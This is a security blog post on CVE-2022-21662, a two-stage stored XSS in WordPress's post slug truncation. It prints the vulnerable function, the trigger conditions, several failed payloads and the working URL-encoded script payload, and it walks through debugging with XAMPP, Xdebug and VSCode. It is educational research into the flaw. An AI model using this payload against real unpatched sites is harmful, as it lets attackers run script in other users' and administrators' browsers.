SpiderLabs Blog

The Importance of White-Box Testing: A Dive into CVE-2022-21662

Written by Adeeb Shah | Jun 17, 2022 10:51:00 AM

I want to take some time to explain the importance of using a white-box approach when testing applications for vulnerabilities.

To help in this endeavor, I will use a real-world example to demonstrate how researchers (in this case Karim El Ouerghemmi and Simon Scannell) *may* have found a vulnerability in WordPress (CVE-2022-21662 a 2nd order stored XSS) and how you, as a security researcher, can also use a white-box approach to find an exotic XSS vulnerability.

Recently, I was asked to validate a test on an engagement that had a WordPress site (5.7.2) for a client. After checking to make sure that all the headers, etc. were reported (which are important to report, nonetheless), I started searching on the web for known vulnerabilities (as you should always do).

Two items stuck out to me: an XXE vuln and an XSS vuln. The XXE vuln, unfortunately, required a module to be installed which wasn’t there, so that didn’t pan out. However, the XSS (persistent) caught my eye. XSS is often discounted as a minor risk, but is in fact extremely dangerous, especially when persistent. Bypassing XSS filters is an art and pushes researchers to get creative and expose security weaknesses that trigger malicious JavaScript code execution in ways normal payloads may be blocked or filtered.

Note: Upgrading to the latest version of WordPress addresses this vulnerability.

Overview

When CVE-2022-21662 (https://nvd.nist.gov/vuln/detail/CVE-2022-21662) came out there wasn’t a much-published material regarding this vulnerability. One article that I found was WordPress 5.8.2 Stored XSS Vulnerability  published by the original researchers credited with the find, Karim El Ouerghemmi and Simon Scannell. The article demonstrated the issue but (at the time this article was posted) it didn’t include a full proof-of-concept.

This is one of the most unique XSS’s I’ve seen in a while and worth the analysis, so let’s dive in.

Analysis

Log in to WordPress as any user that has the authority to create posts. Create two posts as noted below:

 

 

Then, click the “Quick Edit” next to one of your posts.

 

 

According to the advisory, the vulnerable field is the “Slug” field:

 

 

You’ll notice that if the “Slug” is left empty, it will just pull and lowercase the “Title” field’s content.

Now this is where the vulnerable source code comes into play and can get pretty complex. The original article does a very good and comprehensive job of covering it, but I’ll do my best to simplify why this is happening.

 


function _truncate_post_slug( $slug, $length = 200 ) {
    if ( strlen( $slug ) > $length ) { #if the length of the slug is greater than 200
        $decoded_slug = urldecode( $slug ); #just URL-decode it and store it in the new variable
        if ( $decoded_slug === $slug ) { #if the URL-decoded slug is equal to (strict comparison) the slug
            $slug = substr( $slug, 0, $length ); #set slug equal to the first 200 characters
        } else {
            $slug = utf8_uri_encode( $decoded_slug, $length ); #encode the first 200 characters of decoded_slug
        }
    }
    return rtrim( $slug, '-' ); #return the vulnerable value

 

The vulnerable function is the _truncate_post_slug function. There are a few requirements that must be met to “enter” data into this vulnerable function. These are:

  • The length of the data in “slug” must exceed the specified 200 character default limit
  • The “slug” for the PXSS to be stored and triggered must be the same as another post’s “slug”
  • The “slug” must contain URL-encoded characters
  • Another point I noticed is you have to ensure that it’s in “Publish” and not “Draft” status.

If the slug is the same as another slug, it will enter the code branch that performs the _truncate_post_slug function.

The important part to remember is the slug must be the same in both posts to trigger the execution. Basically, you need two injections for it to successfully store the vulnerable code.

I tried this with just a general <script>alert(1)</script> payloadalong with other payloads, both obscure and well-known, such as <img src=x onerror=alert(1)> and <svg/onload=alert(1)> but none would work.

So I initially tried:

 

<script>alert(1)</script>ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

When this did not work, I remembered this needs to be URL encoded and look more like this: 

 


%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

However, still no luck and I couldn’t figure out why I was striking out.  I then tried a few other ideas as well as other payloads. I also realized that reading the code above, 200 was the default, but unfortunately this was a black box assessment, so I did not have access to the source code. Also, because this was a validation engagement, I didn’t have enough time to download/set-up a debugging environment with it.  If I had had the time to debug the environment, I may have discovered that the 200-character threshold had been modified.

I tried really long payloads, some more than 2,000 characters long:

 


%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

(Characters stripped for space)

 

ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

Eventually, I took a break and realized I should try closing the tag and then opening the tag within the field, so I tried injecting this payload twice:

 

%27%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

Which is the equivalent of '/><script>alert(1)</script>

But this didn’t work.

Then I tried injecting this payload twice:

 

%22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

Which is the equivalent of "/><script>alert(1)</script> (note the double quote instead of the single quote)

and voila:

 

 

Probably one of the most complex two-stage persistent XSS’s I’ve seen to date. Of course, you can modify the payload to interact with the DOM as needed.

This allows malicious JavaScript code to be executed in any user’s (including administrators’) browsers and can be injected by any user with access to create a post. That's a pretty big deal.

Again, big kudos to SonarSource and the original researchers Karim El Ouerghemmi and Simon Scannell for the amazing find and all the research behind this. Check out their original blog at  https://blog.sonarsource.com/wordpress-stored-xss-vulnerability

Discovery

So how would you go about finding something like this? There’s no substitute… you have to dig into the source code and (even better) use live debugging to your advantage. Let’s emulate that to truly understand how the code is being executed because we want to understand how to research these types of things, right?

Ok so let’s try to see how the researchers could have found this vulnerability.

Setup

Spin up a Windows VM (I used a Windows 10 VM) and install WordPress 5.7.2 available here:

https://wordpress.org/download/releases/

 

 

Ensure that you’ve also downloaded and installed a service such as XAMPP. This can be obtained here:

https://www.apachefriends.org/index.html

Once downloaded, extract the files that you downloaded to C:\xampp\htdocs\[yourfoldername]

I chose to call my folder wordpress.

 

 

That folder should contain all the files you downloaded and unzipped.

Now, turn on Apache and MySQL in XAMPP.

 

 

Now, you need to create a MySQL database for the WordPress site.

Open your browser, and navigate to http://localhost/phpmyadmin

Click Databases at the top. Here, enter the name of the folder you created where the extracted WordPress files reside (in my case, wordpress), select “Collation” in the next drop down, and click Create.

 

 

Now, in your browser, navigate to http://localhost/wordpress/wp-admin/setup-config.php and follow the prompts to go through the setup wizard.

When it asks for connection details, ensure that your “Database Name” is the same as the name you created in phpMyAdmin (which should also be the same as the folder name). For the rest, it should look like this:

 

 

Once you’re done, head over to http://localhost/wordpress/ and you should see something like this:

 

 

Nice! Now let’s set up our debugging with VSCode. If you don’t already have it, install VSCode from here:

https://code.visualstudio.com/

Once you have it downloaded, ensure that you click “Extensions” and install the PHP Debug extension.

 

 

Now, click File -> Open Folder and select the “wordpress” folder.

 

 

This should open all of the web app’s files in VSCode:

 

 

Go back to your XAMPP Control Panel and click “Config” next to Apache and click PHP (php.ini).

 

 

Edit in notepad and add the following:

[XDebug]

xdebug.remote_enable = 1

xdebug.remote_autostart=1

zend_extension = "C:\xampp\php\ext\php_xdebug.dll"

Save and close.

Now, on the left, highlight the “WORDPRESS” folder and click the Debug button:

 

 

Click the “Run and Debug” at the top:

 

 

The default launch configuration should work fine (no need to create a custom launch.json file).

You should notice that the window now has an orange bar at the bottom, and a new toolbar has appeared at the top with a few buttons including the Pause and Stop icons.

 

 

Now let’s test to see if the debugger worked. What we’re going to try to do here is set a “break point” within the code and see if the application stops and the code is highlighted so we can see what is going on in the code base live. Pretty cool, right?

Select wp-admin/about.php and then click on line 16. Press F9, which is a shortcut to insert a breakpoint. You should see a little red circle to the left of 16 (if it’s gray, give it a minute and it should turn to red).

 

 

What should now happen is when we navigate to /wp-admin/about.php, the breakpoint should stop the code from executing beyond line 16 and VSCode should also notify us.

In your browser, navigate to http://localhost/wordpress/wp-admin/about.php

You should see that the browser is trying to load, and that line 16 is now highlighted. This shows that we’ve successfully hooked into the application and have stopped the code execution at the breakpoint (which is now highlighted). Notice the breakpoint has turned into a red arrow with a yellow outline.

 

 

Press F5 (continue) and observe that the code executes, and the web page successfully loads in the browser.

 

 

Code Analysis and Tracing the Vuln

So now, let’s have a look at the CVE and try to really understand what is going on.

Head to wp-includes/post.php

Looking at previous CVE’s, it’s evident that the “slug” parameter has had some issues with XSS. This CVE/advisory is also related to the slug parameter. Specifically, the advisory and research done thus far points to the function _truncate_post_slug.

Now remember, although this is the vulnerable function, we need to understand how to reach it.

Let’s hit CTRL+F and enter _truncate_post_slug in post.php and go all the way up to the first time we see it. There should be five instances of it, and the first one should be on line 4709.

 

 

There we see that _truncate_post_slug is a part of $alt_post_name, which belongs to the $post_name_check function.

Keep tracing the code backwards, and your eye should follow the code like this:

 

 

Eventually, you’ll start to notice the comments and the main function wp_unique_post_slug that encompasses everything we’ve covered thus far.

 

 

Comments are your friend. If they’re there, use them to your advantage! So now we know that we must have a duplicate slug name to fall into the vulnerable code branch.

You may be wondering how a researcher could know to start at _truncate_post_slug. Typically, an “includes” folder will contain a lot of functions that are important to the application and their logic should be checked. You can also search for keywords, such as urlencode, urldecode, deserialize, etc... It does take research and practice to become familiar with these potentially vulnerable functions. Another popular search is SQL statements, especially ones that aren’t parameterized!

Once you’re in post.php, hit CTRL + F and search for urldecode. You’ll notice that one of them points to the vulnerable function listed in the CVE.

 

 

Let’s set a break point on line 4839 (remember, just select the line and hit F9).

Triggering the PXSS

Now, let’s get into triggering it. What we want is to ensure that we hit the breakpoint, and then step through the rest of the code.

Create a new post in the WordPress UI. There’s already one published post “Hello World” loaded into WordPress by default, so just create another post and publish it.

In the UI, click “Quick Edit” under each of the posts and insert the same slug name. Here, let’s say that we tried “slug123” in both fields. Click Update.

You’ll notice we didn’t hit the breakpoint. This is because on line 4837 there’s another check. Here, you see that we need to have the slug length be at least 200 characters long.

 

 

So let’s try again with:

 

 slug123ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

 

Once you click “update” on the 2nd post, you’ll notice that you now have hit the breakpoint and you can see the value of $slug

 

 

Now we see the vulnerable urldecode and utf8_uri_encode of slug. So, all we have to do is inject URL-encoded JavaScript in the slug variable, ensure that it hits the minimum 200-character buffer, and as noted above, make sure we also close off the previous tag, and we should hit the breakpoint again successfully.

For now, hit F5 and continue the code execution.

Go back and under “Quick Edit” inject the payload:

 

 %22%2F%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3EZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 

 

for both posts.

You’ll observe that after you inject the slug in the second post, triggering the check for uniqueness, you’ve hit the breakpoint again, this time with the correct payload:

 

 

Now, hit F10 (Step Over) once and see that the injected code is now stored in the $decoded_slug variable:

 

 

Continue to step through the code, allowing it to go step by step and observe that eventually you will trigger the XSS:

 

 

Recap

So why go through the code this way? There is no substitute for the white-box approach. There is almost no chance that this vulnerability could have been discovered using a black-box approach, and yet this dangerous vulnerability exists and can affect all authenticated users (including administrators).

Notice that when I was conducting the black-box assessment, I didn’t have access to the source code. It was trial and error and quite honestly if there was any deviation from the distributed source code, this vulnerability may never have been found. Digging into the source code, we knew exactly what the code had to look like in order to trigger the PXSS and only had to take one shot at it for it to work.

Having access to source code can help researchers find vulns and having a debugging environment is even better.

Happy Hunting!